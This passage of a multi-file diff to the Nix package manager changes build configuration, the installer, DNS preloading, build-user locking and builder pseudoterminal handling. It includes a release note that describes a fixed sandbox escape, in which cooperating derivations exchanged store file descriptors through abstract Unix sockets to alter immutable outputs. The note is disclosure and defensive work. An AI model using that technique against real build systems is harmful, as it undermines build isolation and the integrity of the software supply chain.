AC_DEFINE_UNQUOTED(SYSTEM, ["$system"], [platform identifier ('cpu-os')])
@@ -67,10 +59,12 @@ AC_SYS_LARGEFILE
# Solaris-specific stuff.
AC_STRUCT_DIRENT_D_TYPE
if test "$sys_name" = sunos; then
case "$host_os" in
solaris*)
# Solaris requires -lsocket -lnsl for network functions
LDFLAGS="-lsocket -lnsl $LDFLAGS"
fi
;;
esac
# Check for pubsetbuf.
@@ -229,24 +223,29 @@ AC_CHECK_LIB([lzma], [lzma_stream_encoder_mt],
# Look for libbrotli{enc,dec}.
PKG_CHECK_MODULES([LIBBROTLI], [libbrotlienc libbrotlidec], [CXXFLAGS="$LIBBROTLI_CFLAGS $CXXFLAGS"])
# Look for libzstd.
PKG_CHECK_MODULES([LIBZSTD], [libzstd], [CXXFLAGS="$LIBZSTD_CFLAGS $CXXFLAGS"])
# Look for libseccomp, required for Linux sandboxing.
if test "$sys_name" = linux; then
AC_ARG_ENABLE([seccomp-sandboxing],
AC_HELP_STRING([--disable-seccomp-sandboxing],
[Don't build support for seccomp sandboxing (only recommended if your arch doesn't support libseccomp yet!)]
))
if test "x$enable_seccomp_sandboxing" != "xno"; then
PKG_CHECK_MODULES([LIBSECCOMP], [libseccomp],
[CXXFLAGS="$LIBSECCOMP_CFLAGS $CXXFLAGS"])
have_seccomp=1
AC_DEFINE([HAVE_SECCOMP], [1], [Whether seccomp is available and should be used for sandboxing.])
else
case "$host_os" in
linux*)
AC_ARG_ENABLE([seccomp-sandboxing],
AC_HELP_STRING([--disable-seccomp-sandboxing],
[Don't build support for seccomp sandboxing (only recommended if your arch doesn't support libseccomp yet!)]
))
if test "x$enable_seccomp_sandboxing" != "xno"; then
PKG_CHECK_MODULES([LIBSECCOMP], [libseccomp],
[CXXFLAGS="$LIBSECCOMP_CFLAGS $CXXFLAGS"])
have_seccomp=1
AC_DEFINE([HAVE_SECCOMP], [1], [Whether seccomp is available and should be used for sandboxing.])
else
have_seccomp=
fi
;;
*)
have_seccomp=
fi
else
have_seccomp=
fi
;;
esac
AC_SUBST(HAVE_SECCOMP, [$have_seccomp])
@@ -294,9 +293,11 @@ AC_CHECK_FUNCS([strsignal posix_fallocate sysconf])
# This is needed if bzip2 is a static library, and the Nix libraries
# are dynamic.
if test "$(uname)" = "Darwin"; then
case "${host_os}" in
darwin*)
LDFLAGS="-all_load $LDFLAGS"
fi
;;
esac
# Do we have GNU tar?
+14
View File
@@ -0,0 +1,14 @@
---
synopsis: Fix a FOD sandbox escape
issues:
prs:
---
Cooperating Nix derivations could send file descriptors to files in the Nix
store to each other via Unix domain sockets in the abstract namespace. This
allowed one derivation to modify the output of the other derivation, after Nix
has registered the path as "valid" and immutable in the Nix database.
In particular, this allowed the output of fixed-output derivations to be
modified from their expected content.
This isn't the case any more.
Generated
+27
View File
@@ -0,0 +1,27 @@
{
"nodes": {
"nixpkgs": {
"locked": {
"lastModified": 1705133751,
"narHash": "sha256-rCIsyE80jgiOU78gCWN3A0wE0tR2GI5nH6MlS+HaaSQ=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "9b19f5e77dd906cb52dade0b7bd280339d2a1f3d",
"type": "github"
},
"original": {
"owner": "NixOS",
"ref": "nixos-unstable",
"repo": "nixpkgs",
"type": "github"
}
},
"root": {
"inputs": {
"nixpkgs": "nixpkgs"
}
}
},
"root": "root",
"version": 7
}
+56
View File
@@ -0,0 +1,56 @@
{
inputs.nixpkgs.url = "github:NixOS/nixpkgs/nixos-unstable";
# A very basic flake to conveniently `nix run nix/2.3` for testing.
# Note that this release has no built-in support for flakes,
# and this flake declaration is provided on a best-effort basis.
outputs = { self, nixpkgs, ... }:
let
inherit (nixpkgs) lib;
inherit (lib) flip genAttrs mapAttrs substring;
rev = self.sourceInfo.rev or self.sourceInfo.dirtyRev or "";
revCount = self.sourceInfo.revCount or 0;
shortRev = self.sourceInfo.shortRev or (substring 0 7 rev);
release = import ./release.nix {
nix = {
outPath = ./.;
inherit rev revCount shortRev;
};
nixpkgs = nixpkgs.outPath;
officialRelease = false;
};
in
{
# inherit release;
packages =
mapAttrs
(system: nix: {
default = nix;
nix = nix;
})
release.build;
apps =
mapAttrs
(system: packages:
let
appFor = mainProgram: {
type = "app";
program = lib.getExe' packages.nix mainProgram;
};
in flip genAttrs appFor [
"nix"
"nix-build"
"nix-channel"
"nix-collect-garbage"
"nix-copy-closure"
"nix-daemon"
"nix-env"
"nix-hash"
"nix-instantiate"
"nix-prefetch-url"
"nix-shell"
"nix-store"
])
self.packages;
};
}
+2
View File
@@ -89,6 +89,7 @@ downloadFile("binaryTarball.i686-linux", "1");
downloadFile("binaryTarball.x86_64-linux", "1");
downloadFile("binaryTarball.aarch64-linux", "1");
downloadFile("binaryTarball.x86_64-darwin", "1");
downloadFile("binaryTarball.aarch64-darwin", "1");
downloadFile("installerScript", "1");
exit if $version =~ /pre/;
@@ -121,6 +122,7 @@ write_file("$nixpkgsDir/nixos/modules/installer/tools/nix-fallback-paths.nix",
" i686-linux = \"" . getStorePath("build.i686-linux") . "\";\n" .
" aarch64-linux = \"" . getStorePath("build.aarch64-linux") . "\";\n" .
" x86_64-darwin = \"" . getStorePath("build.x86_64-darwin") . "\";\n" .
" aarch64-darwin = \"" . getStorePath("build.aarch64-darwin") . "\";\n" .
"}\n");
system("cd $nixpkgsDir && git commit -a -m 'nix: $oldName -> $version'") == 0 or die;
+1 -1
View File
@@ -1,4 +1,4 @@
ifeq ($(OS), Darwin)
ifdef HOST_DARWIN
$(eval $(call install-data-in, $(d)/org.nixos.nix-daemon.plist, $(prefix)/Library/LaunchDaemons))
+1 -1
View File
@@ -1,4 +1,4 @@
ifeq ($(OS), Linux)
ifdef HOST_LINUX
$(foreach n, nix-daemon.socket nix-daemon.service, $(eval $(call install-file-in, $(d)/$(n), $(prefix)/lib/systemd/system, 0644)))
+1 -1
View File
@@ -1,4 +1,4 @@
ifeq ($(OS), Linux)
ifdef HOST_LINUX
$(foreach n, nix-daemon.conf, $(eval $(call install-file-in, $(d)/$(n), $(sysconfdir)/init, 0644)))
+22 -5
View File
@@ -11,8 +11,25 @@ noinst-scripts :=
man-pages :=
install-tests :=
dist-files :=
OS = $(shell uname -s)
ifdef HOST_OS
HOST_KERNEL = $(firstword $(subst -, ,$(HOST_OS)))
ifeq ($(HOST_KERNEL), cygwin)
HOST_CYGWIN = 1
endif
ifeq ($(patsubst darwin%,,$(HOST_KERNEL)),)
HOST_DARWIN = 1
endif
ifeq ($(patsubst freebsd%,,$(HOST_KERNEL)),)
HOST_FREEBSD = 1
endif
ifeq ($(HOST_KERNEL), linux)
HOST_LINUX = 1
endif
ifeq ($(patsubst solaris%,,$(HOST_KERNEL)),)
HOST_SOLARIS = 1
endif
endif
# Hack to define a literal space.
space :=
@@ -52,16 +69,16 @@ endif
BUILD_SHARED_LIBS ?= 1
ifeq ($(BUILD_SHARED_LIBS), 1)
ifeq (CYGWIN,$(findstring CYGWIN,$(OS)))
ifdef HOST_CYGWIN
GLOBAL_CFLAGS += -U__STRICT_ANSI__ -D_GNU_SOURCE
GLOBAL_CXXFLAGS += -U__STRICT_ANSI__ -D_GNU_SOURCE
else
GLOBAL_CFLAGS += -fPIC
GLOBAL_CXXFLAGS += -fPIC
endif
ifneq ($(OS), Darwin)
ifneq ($(OS), SunOS)
ifneq ($(OS), FreeBSD)
ifndef HOST_DARWIN
ifndef HOST_SOLARIS
ifndef HOST_FREEBSD
GLOBAL_LDFLAGS += -Wl,--no-copy-dt-needed-entries
endif
endif
+9 -9
View File
@@ -1,9 +1,9 @@
libs-list :=
ifeq ($(OS), Darwin)
ifdef HOST_DARWIN
SO_EXT = dylib
else
ifeq (CYGWIN,$(findstring CYGWIN,$(OS)))
ifdef HOST_CYGWIN
SO_EXT = dll
else
SO_EXT = so
@@ -59,7 +59,7 @@ define build-library
$(1)_OBJS := $$(addprefix $(buildprefix), $$(addsuffix .o, $$(basename $$(_srcs))))
_libs := $$(foreach lib, $$($(1)_LIBS), $$($$(lib)_PATH))
ifeq (CYGWIN,$(findstring CYGWIN,$(OS)))
ifdef HOST_CYGWIN
$(1)_INSTALL_DIR ?= $$(bindir)
else
$(1)_INSTALL_DIR ?= $$(libdir)
@@ -73,18 +73,18 @@ define build-library
ifeq ($(BUILD_SHARED_LIBS), 1)
ifdef $(1)_ALLOW_UNDEFINED
ifeq ($(OS), Darwin)
ifdef HOST_DARWIN
$(1)_LDFLAGS += -undefined suppress -flat_namespace
endif
else
ifneq ($(OS), Darwin)
ifneq (CYGWIN,$(findstring CYGWIN,$(OS)))
ifndef HOST_DARWIN
ifndef HOST_CYGWIN
$(1)_LDFLAGS += -Wl,-z,defs
endif
endif
endif
ifneq ($(OS), Darwin)
ifndef HOST_DARWIN
$(1)_LDFLAGS += -Wl,-soname=$$($(1)_NAME).$(SO_EXT)
endif
@@ -93,7 +93,7 @@ define build-library
$$($(1)_PATH): $$($(1)_OBJS) $$(_libs) | $$(_d)/
$$(trace-ld) $(CXX) -o $$(abspath $$@) -shared $$(LDFLAGS) $$(GLOBAL_LDFLAGS) $$($(1)_OBJS) $$($(1)_LDFLAGS) $$($(1)_LDFLAGS_PROPAGATED) $$(foreach lib, $$($(1)_LIBS), $$($$(lib)_LDFLAGS_USE)) $$($(1)_LDFLAGS_UNINSTALLED)
ifneq ($(OS), Darwin)
ifndef HOST_DARWIN
$(1)_LDFLAGS_USE += -Wl,-rpath,$$(abspath $$(_d))
endif
$(1)_LDFLAGS_USE += -L$$(_d) -l$$(patsubst lib%,%,$$(strip $$($(1)_NAME)))
@@ -108,7 +108,7 @@ define build-library
$$(trace-ld) $(CXX) -o $$@ -shared $$(LDFLAGS) $$(GLOBAL_LDFLAGS) $$($(1)_OBJS) $$($(1)_LDFLAGS) $$($(1)_LDFLAGS_PROPAGATED) $$(foreach lib, $$($(1)_LIBS), $$($$(lib)_LDFLAGS_USE_INSTALLED))
$(1)_LDFLAGS_USE_INSTALLED += -L$$(DESTDIR)$$($(1)_INSTALL_DIR) -l$$(patsubst lib%,%,$$(strip $$($(1)_NAME)))
ifneq ($(OS), Darwin)
ifndef HOST_DARWIN
ifeq ($(SET_RPATH_TO_LIBS), 1)
$(1)_LDFLAGS_USE_INSTALLED += -Wl,-rpath,$$($(1)_INSTALL_DIR)
else
Executable
+29
View File
@@ -0,0 +1,29 @@
#!/bin/sh
set -eu -o pipefail
red=""
green=""
yellow=""
normal=""
post_run_msg="ran test $1..."
if [ -t 1 ]; then
red=""
green=""
yellow=""
normal=""
fi
(cd $(dirname $1) && env ${TESTS_ENVIRONMENT} init.sh 2>/dev/null > /dev/null)
log="$(cd $(dirname $1) && env ${TESTS_ENVIRONMENT} $(basename $1) 2>&1)" && status=0 || status=$?
if [ $status -eq 0 ]; then
echo "$post_run_msg [${green}PASS$normal]"
elif [ $status -eq 99 ]; then
echo "$post_run_msg [${yellow}SKIP$normal]"
else
echo "$post_run_msg [${red}FAIL$normal]"
echo "$log" | sed 's/^/ /'
exit "$status"
fi
+10 -37
View File
@@ -1,45 +1,18 @@
# Run program $1 as part of ‘make installcheck’.
test-deps =
define run-install-test
installcheck: $1
installcheck: $1.test
_installcheck-list += $1
.PHONY: $1.test
$1.test: $1 $(test-deps)
@env TEST_NAME=$(notdir $(basename $1)) TESTS_ENVIRONMENT="$(tests-environment)" mk/run_test.sh $1 < /dev/null
endef
# Color code from https://unix.stackexchange.com/a/10065
installcheck:
@total=0; failed=0; \
red=""; \
green=""; \
yellow=""; \
normal=""; \
if [ -t 1 ]; then \
red=""; \
green=""; \
yellow=""; \
normal=""; \
fi; \
for i in $(_installcheck-list); do \
total=$$((total + 1)); \
printf "running test $$i..."; \
log="$$(cd $$(dirname $$i) && $(tests-environment) $$(basename $$i) 2>&1)"; \
status=$$?; \
if [ $$status -eq 0 ]; then \
echo " [$${green}PASS$$normal]"; \
elif [ $$status -eq 99 ]; then \
echo " [$${yellow}SKIP$$normal]"; \
else \
echo " [$${red}FAIL$$normal]"; \
echo "$$log" | sed 's/^/ /'; \
failed=$$((failed + 1)); \
fi; \
done; \
if [ "$$failed" != 0 ]; then \
echo "$${red}$$failed out of $$total tests failed $$normal"; \
exit 1; \
else \
echo "$${green}All tests succeeded$$normal"; \
fi
.PHONY: check installcheck
print-top-help += \
echo " installcheck: Run functional tests";
+1
View File
@@ -28,6 +28,7 @@ Requires: curl
Requires: bzip2
Requires: gzip
Requires: xz
Requires: zstd
BuildRequires: bison
BuildRequires: boost-devel >= 1.60
BuildRequires: bzip2-devel
+1
View File
@@ -1,3 +1,4 @@
HOST_OS = @host_os@
CC = @CC@
CFLAGS = @CFLAGS@
CXX = @CXX@
+2
View File
@@ -10,6 +10,8 @@ AC_PROG_CC
AC_PROG_CXX
AX_CXX_COMPILE_STDCXX_11
AC_CANONICAL_HOST
# Use 64-bit file system calls so that we can support files > 2 GiB.
AC_SYS_LARGEFILE
+1 -1
View File
@@ -28,7 +28,7 @@ Store_CXXFLAGS = \
Store_LDFLAGS := $(SODIUM_LIBS) $(NIX_LIBS)
ifeq (CYGWIN,$(findstring CYGWIN,$(OS)))
ifdef HOST_CYGWIN
archlib = $(shell perl -E 'use Config; print $$Config{archlib};')
libperl = $(shell perl -E 'use Config; print $$Config{libperl};')
Store_LDFLAGS += $(shell find ${archlib} -name ${libperl})
+2 -2
View File
@@ -49,8 +49,8 @@ rec {
buildDeps =
[ curl
bzip2 xz brotli editline
openssl pkgconfig sqlite
bzip2 xz brotli zstd editline
openssl pkg-config sqlite
boost
# Tests
+44 -5
View File
@@ -25,7 +25,7 @@ let
buildInputs = tarballDeps ++ buildDeps ++ propagatedDeps;
configureFlags = "--enable-gc";
configureFlags = [ "--enable-gc" ];
postUnpack = ''
(cd $sourceRoot && find . -type f) | cut -c3- > $sourceRoot/.dist-files
@@ -111,10 +111,10 @@ let
++ lib.optional (stdenv.isLinux || stdenv.isDarwin) libsodium
++ lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.Security;
configureFlags = ''
--with-dbi=${perlPackages.DBI}/${pkgs.perl.libPrefix}
--with-dbd-sqlite=${perlPackages.DBDSQLite}/${pkgs.perl.libPrefix}
'';
configureFlags = [
"--with-dbi=${perlPackages.DBI}/${pkgs.perl.libPrefix}"
"--with-dbd-sqlite=${perlPackages.DBDSQLite}/${pkgs.perl.libPrefix}"
];
enableParallelBuilding = true;
@@ -223,8 +223,42 @@ let
FONTCONFIG_FILE = texFunctions.fontsConf;
};
testNixVersions = client: daemon: pkgs:
with import ./release-common.nix { inherit pkgs; };
pkgs.releaseTools.nixBuild {
NIX_DAEMON_PACKAGE = daemon;
NIX_CLIENT_PACKAGE = client;
HAVE_LOCAL_NIX_BUILD = false;
name = "nix-tests-${client.src.version}-against-${daemon.src.version}";
src = tarball;
VERSION_SUFFIX = tarball.versionSuffix;
buildInputs = buildDeps;
propagatedBuildInputs = propagatedDeps;
enableParallelBuilding = true;
dontBuild = true;
doInstallCheck = true;
installPhase = ''
mkdir -p $out
'';
installCheckPhase = "make installcheck -j$NIX_BUILD_CORES -l$NIX_BUILD_CORE";
};
testAgainstSelf = pkgs.lib.genAttrs systems (system:
let pkgs = import nixpkgs { inherit system; }; in
testNixVersions build.${system} build.${system} pkgs);
# System tests.
tests.remoteBuilds = (import ./tests/remote-builds.nix rec {
inherit nixpkgs;
nix = build.x86_64-linux; system = "x86_64-linux";
@@ -235,6 +269,11 @@ let
nix = build.x86_64-linux; system = "x86_64-linux";
});
tests.ca-fd-leak = (import ./tests/nixos/ca-fd-leak rec {
inherit nixpkgs;
nix = build.x86_64-linux; system = "x86_64-linux";
});
tests.setuid = pkgs.lib.genAttrs
["i686-linux" "x86_64-linux"]
(system:
+1 -1
View File
@@ -536,7 +536,7 @@ create_directories() {
# FIXME: remove all of this because it duplicates LocalStore::LocalStore().
_sudo "to make the basic directory structure of Nix (part 1)" \
mkdir -pv -m 0755 /nix /nix/var /nix/var/log /nix/var/log/nix /nix/var/log/nix/drvs /nix/var/nix{,/db,/gcroots,/profiles,/temproots,/userpool} /nix/var/nix/{gcroots,profiles}/per-user
mkdir -pv -m 0755 /nix /nix/var /nix/var/log /nix/var/log/nix /nix/var/log/nix/drvs /nix/var/nix{,/db,/gcroots,/profiles,/temproots,/userpool,/daemon-socket} /nix/var/nix/{gcroots,profiles}/per-user
_sudo "to make the basic directory structure of Nix (part 2)" \
mkdir -pv -m 1775 /nix/store
+1 -2
View File
@@ -29,8 +29,7 @@ case "$(uname -s).$(uname -m)" in
Linux.i?86) system=i686-linux; hash=@binaryTarball_i686-linux@;;
Linux.aarch64) system=aarch64-linux; hash=@binaryTarball_aarch64-linux@;;
Darwin.x86_64) system=x86_64-darwin; hash=@binaryTarball_x86_64-darwin@;;
# eventually maybe: system=arm64-darwin; hash=@binaryTarball_arm64-darwin@;;
Darwin.arm64) system=x86_64-darwin; hash=@binaryTarball_x86_64-darwin@;;
Darwin.arm64) system=aarch64-darwin; hash=@binaryTarball_aarch64-darwin@;;
*) oops "sorry, there is no binary distribution of Nix for your platform";;
esac
+2
View File
@@ -192,6 +192,8 @@ static int _main(int argc, char * * argv)
storeParams["log-fd"] = "4";
if (bestMachine->sshKey != "")
storeParams["ssh-key"] = bestMachine->sshKey;
if (bestMachine->sshPublicHostKey != "")
storeParams["base64-ssh-public-host-key"] = bestMachine->sshPublicHostKey;
}
sshStore = openStore(bestMachine->storeUri, storeParams);
+1
View File
@@ -67,6 +67,7 @@ static void printValue(std::ostream & str, std::set<const Value *> & active, con
else if (*i == '\n') str << "\\n";
else if (*i == '\r') str << "\\r";
else if (*i == '\t') str << "\\t";
else if (*i == '$' && *(i+1) == '{') str << "\\" << *i;
else str << *i;
str << "\"";
break;
+1 -1
View File
@@ -9,7 +9,7 @@ libexpr_SOURCES := $(wildcard $(d)/*.cc) $(wildcard $(d)/primops/*.cc) $(d)/lexe
libexpr_LIBS = libutil libstore
libexpr_LDFLAGS =
ifneq ($(OS), FreeBSD)
ifdef HOST_LINUX
libexpr_LDFLAGS += -ldl
endif
+2 -2
View File
@@ -105,7 +105,7 @@ void ExprAttrs::show(std::ostream & str) const
str << "{ ";
for (auto & i : attrs)
if (i.second.inherited)
str << "inherit " << i.first << " " << "; ";
str << "inherit " << i.first << "; ";
else
str << i.first << " = " << *i.second.e << "; ";
for (auto & i : dynamicAttrs)
@@ -211,7 +211,7 @@ string showAttrPath(const AttrPath & attrPath)
if (i.symbol.set())
out << i.symbol;
else
out << "\"${" << *i.expr << "}\"";
out << "${" << *i.expr << "}";
}
return out.str();
}
+11 -5
View File
@@ -937,10 +937,16 @@ static void prim_hashFile(EvalState & state, const Pos & pos, Value * * args, Va
if (ht == htUnknown)
throw Error(format("unknown hash type '%1%', at %2%") % type % pos);
PathSet context; // discarded
Path p = state.coerceToPath(pos, *args[1], context);
PathSet context;
Path path = state.coerceToPath(pos, *args[1], context);
try {
state.realiseContext(context);
} catch (InvalidPathError & e) {
throw EvalError(format("cannot read '%1%', since path '%2%' is not valid, at %3%")
% path % e.path % pos);
}
mkString(v, hashFile(ht, state.checkSourcePath(p)).to_string(Base16, false), context);
mkString(v, hashFile(ht, state.checkSourcePath(state.toRealPath(path, context))).to_string(Base16, false));
}
/* Read a directory (without . or ..) */
@@ -1821,7 +1827,7 @@ static void prim_hashString(EvalState & state, const Pos & pos, Value * * args,
PathSet context; // discarded
string s = state.forceString(*args[1], context, pos);
mkString(v, hashString(ht, s).to_string(Base16, false), context);
mkString(v, hashString(ht, s).to_string(Base16, false));
}
@@ -2079,7 +2085,7 @@ void fetch(EvalState & state, const Pos & pos, Value * * args, Value & v,
else if (n == "name")
request.name = state.forceStringNoCtx(*attr.value, *attr.pos);
else
throw EvalError(format("unsupported argument '%1%' to '%2%', at %3%") % attr.name % who % attr.pos);
throw EvalError(format("unsupported argument '%1%' to '%2%', at %3%") % attr.name % who % *attr.pos);
}
if (request.uri.empty())
+2 -1
View File
@@ -6,6 +6,7 @@
#include "hash.hh"
#include <sys/time.h>
#include <sys/wait.h>
#include <regex>
@@ -173,7 +174,7 @@ GitInfo exportGit(ref<Store> store, const std::string & uri,
Path tmpDir = createTempDir();
AutoDelete delTmpDir(tmpDir, true);
runProgram("tar", true, { "x", "-C", tmpDir }, tar);
runProgram("tar", true, { "-x", "-f", "-", "-C", tmpDir }, tar);
gitInfo.storePath = store->addToStore(name, tmpDir);
+44
View File
@@ -14,6 +14,14 @@
#include <sys/stat.h>
#include <unistd.h>
#include <signal.h>
#ifdef __linux__
#include <features.h>
#endif
#ifdef __GLIBC__
#include <gnu/lib-names.h>
#include <nss.h>
#include <dlfcn.h>
#endif
#include <openssl/crypto.h>
@@ -95,6 +103,40 @@ static void opensslLockCallback(int mode, int type, const char * file, int line)
}
#endif
static std::once_flag dns_resolve_flag;
static void preloadNSS() {
/* builtin:fetchurl can trigger a DNS lookup, which with glibc can trigger a dynamic library load of
one of the glibc NSS libraries in a sandboxed child, which will fail unless the library's already
been loaded in the parent. So we force a lookup of an invalid domain to force the NSS machinery to
load its lookup libraries in the parent before any child gets a chance to. */
std::call_once(dns_resolve_flag, []() {
#ifdef __GLIBC__
/* On linux, glibc will run every lookup through the nss layer.
* That means every lookup goes, by default, through nscd, which acts as a local
* cache.
* Because we run builds in a sandbox, we also remove access to nscd otherwise
* lookups would leak into the sandbox.
*
* But now we have a new problem, we need to make sure the nss_dns backend that
* does the dns lookups when nscd is not available is loaded or available.
*
* We can't make it available without leaking nix's environment, so instead we'll
* load the backend, and configure nss so it does not try to run dns lookups
* through nscd.
*
* This is technically only used for builtins:fetch* functions so we only care
* about dns.
*
* All other platforms are unaffected.
*/
if (dlopen (LIBNSS_DNS_SO, RTLD_NOW) == NULL) {
printMsg(Verbosity::lvlWarn, fmt("Unable to load nss_dns backend"));
}
__nss_configure_lookup ("hosts", "dns");
#endif
});
}
static void sigHandler(int signo) { }
@@ -158,6 +200,8 @@ void initNix()
if (hasPrefix(getEnv("TMPDIR"), "/var/folders/"))
unsetenv("TMPDIR");
#endif
preloadNSS();
}
+126 -100
View File
@@ -34,7 +34,6 @@
#include <sys/resource.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
#include <cstring>
@@ -45,7 +44,6 @@
/* Includes required for chroot support. */
#if __linux__
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/ip.h>
@@ -181,6 +179,8 @@ public:
virtual string key() = 0;
virtual void cleanup() { }
protected:
virtual void amDone(ExitCode result);
@@ -426,6 +426,8 @@ void Goal::amDone(ExitCode result)
}
waiters.clear();
worker.removeGoal(shared_from_this());
cleanup();
}
@@ -440,7 +442,7 @@ void Goal::trace(const FormatOrString & fs)
/* Common initialisation performed in child processes. */
static void commonChildInit(Pipe & logPipe)
static void commonChildInit(int stderrFd)
{
restoreSignals();
@@ -452,7 +454,7 @@ static void commonChildInit(Pipe & logPipe)
throw SysError(format("creating a new session"));
/* Dup the write side of the logger pipe into stderr. */
if (dup2(logPipe.writeSide.get(), STDERR_FILENO) == -1)
if (stderrFd != -1 && dup2(stderrFd, STDERR_FILENO) == -1)
throw SysError("cannot pipe standard error into log file");
/* Dup stderr to stdout. */
@@ -522,17 +524,24 @@ public:
uid_t getGID() { assert(gid); return gid; }
std::vector<gid_t> getSupplementaryGIDs() { return supplementaryGIDs; }
bool findFreeUser();
bool enabled() { return uid != 0; }
};
Sync<PathSet> UserLock::lockedPaths_;
UserLock::UserLock()
{
assert(settings.buildUsersGroup != "");
createDirs(settings.nixStateDir + "/userpool");
/* Mark that user is not enabled by default */
uid = 0;
}
bool UserLock::findFreeUser() {
/* Get the members of the build-users-group. */
struct group * gr = getgrnam(settings.buildUsersGroup.get().c_str());
@@ -562,7 +571,6 @@ UserLock::UserLock()
throw Error(format("the user '%1%' in the group '%2%' does not exist")
% i % settings.buildUsersGroup);
createDirs(settings.nixStateDir + "/userpool");
fnUserLock = (format("%1%/userpool/%2%") % settings.nixStateDir % pw->pw_uid).str();
@@ -603,20 +611,17 @@ UserLock::UserLock()
supplementaryGIDs.resize(ngroups);
#endif
return;
return true;
}
} catch (...) {
lockedPaths_.lock()->erase(fnUserLock);
return false;
}
}
throw Error(format("all build users are currently in use; "
"consider creating additional users and adding them to the '%1%' group")
% settings.buildUsersGroup);
return false;
}
UserLock::~UserLock()
{
auto lockedPaths(lockedPaths_.lock());
@@ -624,7 +629,6 @@ UserLock::~UserLock()
lockedPaths->erase(fnUserLock);
}
void UserLock::kill()
{
killUser(uid);
@@ -674,7 +678,7 @@ HookInstance::HookInstance()
/* Fork the hook. */
pid = startProcess([&]() {
commonChildInit(fromHook);
commonChildInit(fromHook.writeSide.get());
if (chdir("/") == -1) throw SysError("changing into /");
@@ -820,8 +824,13 @@ private:
std::string currentHookLine;
/* Pipe for the builder's standard output/error. */
Pipe builderOut;
/* Master side of the pseudoterminal used for the builder's
standard output/error. */
AutoCloseFD builderOut;
/* Slave side of the pseudoterminal used for the builder's
standard output/error. */
Path slaveName;
/* Pipe for synchronising updates to the builder user namespace. */
Pipe userNamespaceSync;
@@ -1413,6 +1422,30 @@ void DerivationGoal::tryToBuild()
{
trace("trying to build");
/* If `build-users-group' is not empty, then we have to build as
one of the members of that group. */
if (settings.buildUsersGroup != "" && getuid() == 0) {
#if defined(__linux__) || defined(__APPLE__)
if (!buildUser) buildUser = std::make_unique<UserLock>();
if (!buildUser->enabled()) {
if (!buildUser->findFreeUser()) {
debug("waiting for build users");
worker.waitForAWhile(shared_from_this());
return;
}
/* Make sure that no other processes are executing under this
uid. */
buildUser->kill();
}
#else
/* Don't know how to block the creation of setuid/setgid
binaries on this platform. */
throw Error("build users are not supported on this platform for security reasons");
#endif
}
/* Obtain locks on all output paths. The locks are automatically
released when we exit this function or Nix crashes. If we
can't acquire the lock, then continue; hopefully some other
@@ -1574,7 +1607,7 @@ void DerivationGoal::buildDone()
hook->builderOut.readSide = -1;
hook->fromHook.readSide = -1;
} else
builderOut.readSide = -1;
builderOut.close();
/* Close the log file. */
closeLogFile();
@@ -1886,22 +1919,6 @@ PathSet DerivationGoal::exportReferences(PathSet storePaths)
return paths;
}
static std::once_flag dns_resolve_flag;
static void preloadNSS() {
/* builtin:fetchurl can trigger a DNS lookup, which with glibc can trigger a dynamic library load of
one of the glibc NSS libraries in a sandboxed child, which will fail unless the library's already
been loaded in the parent. So we force a lookup of an invalid domain to force the NSS machinery to
load its lookup libraries in the parent before any child gets a chance to. */
std::call_once(dns_resolve_flag, []() {
struct addrinfo *res = NULL;
if (getaddrinfo("this.pre-initializes.the.dns.resolvers.invalid.", "http", NULL, &res) != 0) {
if (res) freeaddrinfo(res);
}
});
}
void DerivationGoal::startBuilder()
{
/* Right platform? */
@@ -1913,9 +1930,6 @@ void DerivationGoal::startBuilder()
settings.thisSystem,
concatStringsSep(", ", settings.systemFeatures));
if (drv->isBuiltin())
preloadNSS();
#if __APPLE__
additionalSandboxProfile = parsedDrv->getStringAttr("__sandboxProfile").value_or("");
#endif
@@ -1948,22 +1962,6 @@ void DerivationGoal::startBuilder()
#endif
}
/* If `build-users-group' is not empty, then we have to build as
one of the members of that group. */
if (settings.buildUsersGroup != "" && getuid() == 0) {
#if defined(__linux__) || defined(__APPLE__)
buildUser = std::make_unique<UserLock>();
/* Make sure that no other processes are executing under this
uid. */
buildUser->kill();
#else
/* Don't know how to block the creation of setuid/setgid
binaries on this platform. */
throw Error("build users are not supported on this platform for security reasons");
#endif
}
/* Create a temporary directory where the build will take
place. */
auto drvName = storePathToName(drvPath);
@@ -2065,7 +2063,9 @@ void DerivationGoal::startBuilder()
if (!found)
throw Error(format("derivation '%1%' requested impure path '%2%', but it was not in allowed-impure-host-deps") % drvPath % i);
dirsInChroot[i] = i;
/* Allow files in __impureHostDeps to be missing; e.g.
macOS 11+ has no /usr/lib/libSystem*.dylib */
dirsInChroot[i] = {i, true};
}
#if __linux__
@@ -2243,14 +2243,12 @@ void DerivationGoal::startBuilder()
/* Create the log file. */
Path logFile = openLogFile();
/* Create a pipe to get the output of the builder. */
//builderOut.create();
builderOut.readSide = posix_openpt(O_RDWR | O_NOCTTY);
if (!builderOut.readSide)
/* Create a pseudoterminal to get the output of the builder. */
builderOut = posix_openpt(O_RDWR | O_NOCTTY);
if (!builderOut)
throw SysError("opening pseudoterminal master");
std::string slaveName(ptsname(builderOut.readSide.get()));
slaveName = ptsname(builderOut.get());
if (buildUser) {
if (chmod(slaveName.c_str(), 0600))
@@ -2259,33 +2257,33 @@ void DerivationGoal::startBuilder()
if (chown(slaveName.c_str(), buildUser->getUID(), 0))
throw SysError("changing owner of pseudoterminal slave");
} else {
if (grantpt(builderOut.readSide.get()))
if (grantpt(builderOut.get()))
throw SysError("granting access to pseudoterminal slave");
}
#if 0
// Mount the pt in the sandbox so that the "tty" command works.
// FIXME: this doesn't work with the new devpts in the sandbox.
if (useChroot)
dirsInChroot[slaveName] = {slaveName, false};
#endif
if (unlockpt(builderOut.readSide.get()))
if (unlockpt(builderOut.get()))
throw SysError("unlocking pseudoterminal");
builderOut.writeSide = open(slaveName.c_str(), O_RDWR | O_NOCTTY);
if (!builderOut.writeSide)
throw SysError("opening pseudoterminal slave");
/* Open the slave side of the pseudoterminal and use it as stderr. */
auto openSlave = [&]()
{
AutoCloseFD builderOut = open(slaveName.c_str(), O_RDWR | O_NOCTTY);
if (!builderOut)
throw SysError("opening pseudoterminal slave");
// Put the pt into raw mode to prevent \n -> \r\n translation.
struct termios term;
if (tcgetattr(builderOut.writeSide.get(), &term))
throw SysError("getting pseudoterminal attributes");
// Put the pt into raw mode to prevent \n -> \r\n translation.
struct termios term;
if (tcgetattr(builderOut.get(), &term))
